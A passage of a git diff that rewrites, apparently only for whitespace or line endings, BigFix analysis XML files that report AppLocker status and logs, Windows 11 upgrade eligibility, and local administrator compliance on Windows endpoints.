-    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="11" Name="Applocker - Executable and DLL Logs - Windows" EvaluationPeriod="PT6H">(time generated of it, preceding text of last &quot; was &quot; of description of it, (if (event id of it = 8003) then (&quot;Warned&quot;) else (&quot;Blocked&quot;)) of it) of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 500;item 1 of it))) of (record count of it, oldest record number of it)) whose (event id of it = 8003 or event id of it = 8004) of event log &quot;Microsoft-Windows-AppLocker/EXE and DLL&quot;</Property>
-    <Property ID="12" Name="Applocker - MSI and Script Logs - Windows" EvaluationPeriod="PT6H">(time generated of it, preceding text of last &quot; was &quot; of description of it, (if (event id of it = 8006) then (&quot;Warned&quot;) else (&quot;Blocked&quot;)) of it) of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 500;item 1 of it))) of (record count of it, oldest record number of it)) whose (event id of it = 8006 or event id of it = 8007) of event log &quot;Microsoft-Windows-AppLocker/MSI and Script&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Whitelisting - Applocker - Logs - Windows
+  ID       : 2998440
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-29T11:25:12
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Whitelisting - Applocker - Logs - Windows</Title>
+    <Description><![CDATA[<P>This analysis provides information on blocked or audited launches looking at the last 500 event logs from Applocker.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="11" Name="Applocker - Executable and DLL Logs - Windows" EvaluationPeriod="PT6H">(time generated of it, preceding text of last &quot; was &quot; of description of it, (if (event id of it = 8003) then (&quot;Warned&quot;) else (&quot;Blocked&quot;)) of it) of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 500;item 1 of it))) of (record count of it, oldest record number of it)) whose (event id of it = 8003 or event id of it = 8004) of event log &quot;Microsoft-Windows-AppLocker/EXE and DLL&quot;</Property>
+    <Property ID="12" Name="Applocker - MSI and Script Logs - Windows" EvaluationPeriod="PT6H">(time generated of it, preceding text of last &quot; was &quot; of description of it, (if (event id of it = 8006) then (&quot;Warned&quot;) else (&quot;Blocked&quot;)) of it) of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 500;item 1 of it))) of (record count of it, oldest record number of it)) whose (event id of it = 8006 or event id of it = 8007) of event log &quot;Microsoft-Windows-AppLocker/MSI and Script&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Windows (2998311).bes b/Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Windows (2998311).bes
index eaca9570f..2e6483ab7 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Windows (2998311).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Whitelisting - Applocker - Windows (2998311).bes	
@@ -1,23 +1,23 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Whitelisting - Applocker - Windows
-  ID       : 2998311
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-07-19T18:05:17
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Whitelisting - Applocker - Windows</Title>
-    <Description><![CDATA[Provides information on whether or not Applocker is enabled
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A></P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance><![CDATA[windows of operating system and version of operating system >= "6.1"]]></Relevance>
-    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Applocker - Enabled - Windows" EvaluationPeriod="P1D">exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Whitelisting - Applocker - Windows
+  ID       : 2998311
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T18:05:17
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Whitelisting - Applocker - Windows</Title>
+    <Description><![CDATA[Provides information on whether or not Applocker is enabled
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance><![CDATA[windows of operating system and version of operating system >= "6.1"]]></Relevance>
+    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Applocker - Enabled - Windows" EvaluationPeriod="P1D">exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows 11 Upgrade Eligibility Information (2998656).bes b/Sites/Windows Management/Fixlets/Analyses/Windows 11 Upgrade Eligibility Information (2998656).bes
index 15d073cf5..5c26d558c 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Windows 11 Upgrade Eligibility Information (2998656).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows 11 Upgrade Eligibility Information (2998656).bes	
@@ -1,60 +1,60 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Windows 11 Upgrade Eligibility Information
-  ID       : 2998656
-  Author   : marjan
-  Domain   : BESC
-  Imported : 2021-12-07T13:18:11
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Windows 11 Upgrade Eligibility Information</Title>
-    <Description><![CDATA[<TABLE>
-<TBODY>
-<TR>
-<TD><FONT size=2>
-<P><BR>This analysis contains information about system requirements for upgrading computers from Windows 10 to Windows 11.</P>
-<P>This analysis applies to <STRONG>Windows 10 systems only.</STRONG></P>
-<P>System requirements:</P>
-<UL>
-<LI>1 gigahertz (GHz) or faster with 2 or more cores on a compatible 64-bit processor or System on a Chip (SoC).
-<LI>4 gigabytes (GB) of RAM
-<LI>64 GB or larger storage device
-<LI>UEFI, Secure Boot capable
-<LI>Trusted Platform Module (TPM) version 2.0
-<LI>Graphics Card compatible with DirectX 12 or later with WDDM 2.0 driver *
-<LI>High definition (720p) display that is greater than 9'' diagonally, 8 bits per color channel
-<LI>Internet Connectivity and Microsoft Account </LI></UL></FONT>
-<P><STRONG>Important Note:</STRONG> Graphics Card Check requires a <?relevance link of fixlets whose (task flag of it AND mime field "x-fixlet-win11-eligibility" of it = "probeTask" ) of current bes site ?> to evaluate. Please run this task on all of your Windows 10 devices.</P>
-<P>* We have observed in our testing that Windows 10 can be upgraded to 11 in virtual environments with WDDM 1.1 and 1.4 without any&nbsp;issues. </P></TD></TR></TBODY></TABLE>
-]]></Description>
-    <Relevance>if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true</Relevance>
-    <Relevance>name of operating system as lowercase starts with &quot;win10&quot;</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-first-propagation</Name>
-      <Value>Tue, 28 Sep 2021 23:04:56 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-win11-eligibility</Name>
-      <Value>analysis</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 01 Oct 2021 17:58:24 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="OS Architecture" EvaluationPeriod="P1D">(if (it = &quot;x86_64&quot;) then &quot;PASS&quot; else &quot;FAIL - OS Architecture: &quot; &amp; it) of (architecture of operating system)</Property>
-    <Property ID="2" Name="Processor Speed Check" EvaluationPeriod="P1D">(if (it &gt; 1000) then &quot;PASS&quot; else concatenation of &quot;FAIL - Current processor speed in GHZ: &quot; &amp; (it as string)) of (significant digits 2 of (speed of main processor / mhz))</Property>
-    <Property ID="3" Name="Processor Core Count Check" EvaluationPeriod="P1D">(if (it &gt;= 2) then &quot;PASS&quot; else concatenation of &quot;FAIL - Current core count: &quot; &amp; (it as string)) of (core of it * count of it) of cpupackage</Property>
-    <Property ID="4" Name="Memory Check" EvaluationPeriod="P1D">(if (it &gt;= 4096) then &quot;PASS&quot; else &quot;FAIL - Current memory in MB: &quot; &amp; (it as string)) of  (if (it &gt; 128) then ( ((it / 32) * 32) + (if (it mod 32 &gt; 16) then 32 else 0) ) else it) of (size of ram /1048576)</Property>
-    <Property ID="5" Name="Storage Check" EvaluationPeriod="P1D">(if (it) then &quot;PASS&quot; else &quot;FAIL - no 64GB fixed drive&quot;) of ( exists drive whose (type of it = &quot;DRIVE_FIXED&quot; and (total space of it/(1024*1024*1024)) &gt;=64 ))</Property>
-    <Property ID="6" Name="Video Card Memory Check" EvaluationPeriod="PT5M">(if (number of elements of it = 0) then &quot;PASS&quot; else &quot;FAIL - Issues: &quot; &amp; concatenation &quot;,&quot; of elements of it ) of set of (  following texts whose (it does not contain &quot;12&quot; AND (it as integer &lt; 12 ) of first 2 of (it as trimmed string) of following text of first &quot;DirectX&quot; of it) of first &quot;: &quot; of (it as string) of lines whose (it as trimmed string starts with &quot;DirectX Version: &quot;) of it; following texts whose ( (it as trimmed string as version &lt; &quot;2.0&quot;) of following text of first &quot;WDDM&quot; of it) of firsts &quot;: &quot; of (it as string) of lines whose (it as trimmed string starts with &quot;Driver Model:&quot; and it contains &quot;WDDM&quot;) of it)of file &quot;win11-eligibility\dxdiag.txt&quot; of parent folder of client |&quot;probe not run&quot;</Property>
-    <Property ID="7" Name="TPM 2.0 Check" EvaluationPeriod="PT15M">(if number of elements of it = 0 then &quot;FAIL - TPM not visible in wmi&quot; else (if (number of elements of it = 0) then &quot;PASS&quot; else &quot;FAIL - TPM issues: &quot; &amp; concatenation &quot;|&quot; of elements of it) of set of elements whose ((it contains &quot;_InitialValue&quot; AND not (it as boolean) of following text of first &quot;=&quot; of it) OR ((it as version &lt; &quot;2.0&quot;) of tuple string item 0 of following text of first &quot;SpecVersion=&quot; of it)) of it) of set of ((it as string) of selects &quot;IsActivated_InitialValue, IsEnabled_InitialValue, IsOwned_InitialValue, SpecVersion from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;)</Property>
-    <Property ID="8" Name="UEFI State Check" EvaluationPeriod="PT15M">if (exists selects &quot;* from Win32_DiskPartition Where Type = &apos;GPT: System&apos;&quot; of wmi) then &quot;PASS&quot; else &quot;FAIL - BIOS boot mode&quot;</Property>
-    <Property ID="9" Name="Secure Boot State Check" EvaluationPeriod="PT15M">if exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecureBoot\State&quot; whose (value &quot;UEFISecureBootEnabled&quot; of it = 1) of native registry then &quot;PASS&quot; else &quot;FAIL - Secure Boot Disabled&quot;</Property>
-    <Property ID="10" Name="OS Version Check" EvaluationPeriod="PT15M">(if (it &gt;=2004) then &quot;PASS&quot; else &quot;FAIL - Current Version: &quot; &amp; (it as string)) of (it as integer) of value &quot;ReleaseID&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows 11 Upgrade Eligibility Information
+  ID       : 2998656
+  Author   : marjan
+  Domain   : BESC
+  Imported : 2021-12-07T13:18:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows 11 Upgrade Eligibility Information</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD><FONT size=2>
+<P><BR>This analysis contains information about system requirements for upgrading computers from Windows 10 to Windows 11.</P>
+<P>This analysis applies to <STRONG>Windows 10 systems only.</STRONG></P>
+<P>System requirements:</P>
+<UL>
+<LI>1 gigahertz (GHz) or faster with 2 or more cores on a compatible 64-bit processor or System on a Chip (SoC).
+<LI>4 gigabytes (GB) of RAM
+<LI>64 GB or larger storage device
+<LI>UEFI, Secure Boot capable
+<LI>Trusted Platform Module (TPM) version 2.0
+<LI>Graphics Card compatible with DirectX 12 or later with WDDM 2.0 driver *
+<LI>High definition (720p) display that is greater than 9'' diagonally, 8 bits per color channel
+<LI>Internet Connectivity and Microsoft Account </LI></UL></FONT>
+<P><STRONG>Important Note:</STRONG> Graphics Card Check requires a <?relevance link of fixlets whose (task flag of it AND mime field "x-fixlet-win11-eligibility" of it = "probeTask" ) of current bes site ?> to evaluate. Please run this task on all of your Windows 10 devices.</P>
+<P>* We have observed in our testing that Windows 10 can be upgraded to 11 in virtual environments with WDDM 1.1 and 1.4 without any&nbsp;issues. </P></TD></TR></TBODY></TABLE>
+]]></Description>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true</Relevance>
+    <Relevance>name of operating system as lowercase starts with &quot;win10&quot;</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Tue, 28 Sep 2021 23:04:56 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-win11-eligibility</Name>
+      <Value>analysis</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 01 Oct 2021 17:58:24 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="OS Architecture" EvaluationPeriod="P1D">(if (it = &quot;x86_64&quot;) then &quot;PASS&quot; else &quot;FAIL - OS Architecture: &quot; &amp; it) of (architecture of operating system)</Property>
+    <Property ID="2" Name="Processor Speed Check" EvaluationPeriod="P1D">(if (it &gt; 1000) then &quot;PASS&quot; else concatenation of &quot;FAIL - Current processor speed in GHZ: &quot; &amp; (it as string)) of (significant digits 2 of (speed of main processor / mhz))</Property>
+    <Property ID="3" Name="Processor Core Count Check" EvaluationPeriod="P1D">(if (it &gt;= 2) then &quot;PASS&quot; else concatenation of &quot;FAIL - Current core count: &quot; &amp; (it as string)) of (core of it * count of it) of cpupackage</Property>
+    <Property ID="4" Name="Memory Check" EvaluationPeriod="P1D">(if (it &gt;= 4096) then &quot;PASS&quot; else &quot;FAIL - Current memory in MB: &quot; &amp; (it as string)) of  (if (it &gt; 128) then ( ((it / 32) * 32) + (if (it mod 32 &gt; 16) then 32 else 0) ) else it) of (size of ram /1048576)</Property>
+    <Property ID="5" Name="Storage Check" EvaluationPeriod="P1D">(if (it) then &quot;PASS&quot; else &quot;FAIL - no 64GB fixed drive&quot;) of ( exists drive whose (type of it = &quot;DRIVE_FIXED&quot; and (total space of it/(1024*1024*1024)) &gt;=64 ))</Property>
+    <Property ID="6" Name="Video Card Memory Check" EvaluationPeriod="PT5M">(if (number of elements of it = 0) then &quot;PASS&quot; else &quot;FAIL - Issues: &quot; &amp; concatenation &quot;,&quot; of elements of it ) of set of (  following texts whose (it does not contain &quot;12&quot; AND (it as integer &lt; 12 ) of first 2 of (it as trimmed string) of following text of first &quot;DirectX&quot; of it) of first &quot;: &quot; of (it as string) of lines whose (it as trimmed string starts with &quot;DirectX Version: &quot;) of it; following texts whose ( (it as trimmed string as version &lt; &quot;2.0&quot;) of following text of first &quot;WDDM&quot; of it) of firsts &quot;: &quot; of (it as string) of lines whose (it as trimmed string starts with &quot;Driver Model:&quot; and it contains &quot;WDDM&quot;) of it)of file &quot;win11-eligibility\dxdiag.txt&quot; of parent folder of client |&quot;probe not run&quot;</Property>
+    <Property ID="7" Name="TPM 2.0 Check" EvaluationPeriod="PT15M">(if number of elements of it = 0 then &quot;FAIL - TPM not visible in wmi&quot; else (if (number of elements of it = 0) then &quot;PASS&quot; else &quot;FAIL - TPM issues: &quot; &amp; concatenation &quot;|&quot; of elements of it) of set of elements whose ((it contains &quot;_InitialValue&quot; AND not (it as boolean) of following text of first &quot;=&quot; of it) OR ((it as version &lt; &quot;2.0&quot;) of tuple string item 0 of following text of first &quot;SpecVersion=&quot; of it)) of it) of set of ((it as string) of selects &quot;IsActivated_InitialValue, IsEnabled_InitialValue, IsOwned_InitialValue, SpecVersion from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;)</Property>
+    <Property ID="8" Name="UEFI State Check" EvaluationPeriod="PT15M">if (exists selects &quot;* from Win32_DiskPartition Where Type = &apos;GPT: System&apos;&quot; of wmi) then &quot;PASS&quot; else &quot;FAIL - BIOS boot mode&quot;</Property>
+    <Property ID="9" Name="Secure Boot State Check" EvaluationPeriod="PT15M">if exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecureBoot\State&quot; whose (value &quot;UEFISecureBootEnabled&quot; of it = 1) of native registry then &quot;PASS&quot; else &quot;FAIL - Secure Boot Disabled&quot;</Property>
+    <Property ID="10" Name="OS Version Check" EvaluationPeriod="PT15M">(if (it &gt;=2004) then &quot;PASS&quot; else &quot;FAIL - Current Version: &quot; &amp; (it as string)) of (it as integer) of value &quot;ReleaseID&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows Admin Users Compliance Status (2998597).bes b/Sites/Windows Management/Fixlets/Analyses/Windows Admin Users Compliance Status (2998597).bes
index 2e1164ea3..b10dc4e29 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Windows Admin Users Compliance Status (2998597).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows Admin Users Compliance Status (2998597).bes	
@@ -1,80 +1,80 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Windows Admin Users Compliance Status
-  ID       : 2998597
-  Author   : mxc0bbn
-  Domain   : BESC
-  Imported : 2018-09-17T21:29:14
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Windows Admin Users Compliance Status</Title>
-    <Description><![CDATA[<P><STRONG><FONT color=#ff0000 size=4>Note: </FONT></STRONG></P>
-<P><FONT color=#ff0000 size=4><STRONG>1.&nbsp; If the task "</STRONG><EM><FONT size=5><STRONG><FONT color=#000000 size=3>Deploy ComplianceWhitelist File</FONT>" </STRONG></FONT><FONT size=3><STRONG>has not yet been run, the Status may show "<FONT color=#000000>No Compliance Whitelist on Endpoint</FONT>"<BR></STRONG></FONT></EM></FONT><FONT color=#ff0000 size=4><STRONG>2.&nbsp;&nbsp;</STRONG></FONT><FONT color=#ff0000><FONT size=4><STRONG>The file ComplianceWhitelist.txt should be created on the BES Server prior to running the above task<BR>3.&nbsp; If the names of the&nbsp;files in the "Deploy Compliance Whitelist File" task and the "Enforce Compliance" Fixlet have been changed, those changes should also be made in this analysis otherwise the analysis&nbsp;may show a status of "No Whitelist File on Endpoint"</STRONG></FONT></FONT></P>
-<P>&nbsp;</P>
-<P>&nbsp;</P>
-<P>Properties Description:</P>
-<P>
-<TABLE class=MsoNormalTable style="BORDER-TOP: medium none; BORDER-RIGHT: medium none; WIDTH: 566.75pt; BORDER-COLLAPSE: collapse; BORDER-BOTTOM: medium none; BORDER-LEFT: medium none; mso-border-alt: solid windowtext .5pt; mso-yfti-tbllook: 1184; mso-padding-alt: 0in 5.4pt 0in 5.4pt" cellSpacing=0 cellPadding=0 width=756 border=1>
-<TBODY>
-<TR style="mso-yfti-irow: 0; mso-yfti-firstrow: yes">
-<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 157.25pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt" vAlign=top width=210>
-<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Status</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><?xml:namespace prefix = "o" ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></SPAN></FONT></P></TD>
-<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 121.5pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=162>
-<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Unauthorized</SPAN></B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'><o:p></o:p></SPAN></FONT></P>
-<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Admins&nbsp;</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD>
-<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 153pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=204>
-<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Name/PWD Age of Admins</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD>
-<TD style="BORDER-TOP: windowtext 1pt solid; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 135pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=180>
-<P class=MsoNormal style="TEXT-ALIGN: center; MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal" align=center><FONT face=Calibri><B><SPAN style='FONT-SIZE: 12pt; mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Whitelist files Match</SPAN></B><SPAN style='FONT-SIZE: 9pt; FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"'><o:p></o:p></SPAN></FONT></P></TD></TR>
-<TR style="mso-yfti-irow: 1; mso-yfti-lastrow: yes">
-<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 157.25pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=210>
-<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT face=Calibri><FONT size=3><B><SPAN style='mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Compliant:</SPAN></B><SPAN style='mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'> All users in the Administrators group are in the ComplianceWhitelist.txt file</SPAN><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'><o:p></o:p></SPAN></FONT></FONT></P>
-<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT face=Calibri><FONT size=3><B><SPAN style='mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>Not-Compliant:</SPAN></B><SPAN style='mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'> There are&nbsp;users in the&nbsp;local Administrators group that are&nbsp;<B><SPAN style="COLOR: red">NOT</SPAN></B> in the ComplianceWhitelist.txt file.</SPAN><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'><o:p></o:p></SPAN></FONT></FONT></P></TD>
-<TD style="BORDER-TOP: #f0f0f0; BORDER-RIGHT: windowtext 1pt solid; WIDTH: 121.5pt; BORDER-BOTTOM: windowtext 1pt solid; PADDING-BOTTOM: 0in; PADDING-TOP: 0in; PADDING-LEFT: 5.4pt; BORDER-LEFT: #f0f0f0; PADDING-RIGHT: 5.4pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=162>
-<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT face=Calibri><FONT size=3><SPAN style='mso-ascii-font-family: Calibri; mso-fareast-font-family: "Times New Roman"; mso-hansi-font-family: Calibri; mso-bidi-font-family: Calibri'>&nbsp;If the status shows Not-Compliant this field will show which users are in the endpoint's local Administrators group that are&nbsp;<B><SPAN style="COLOR: red">NOT</SPAN></B> in the ComplianceWhitelist.txt file.</SPAN><SPAN style='FONT-FAMILY: "Verdana",sans-serif; mso-fareast-font-family: "Times New Roman"; mso-bidi-font-family: Helvetica'><o:p></o:p></SPAN></FONT></FONT></P>
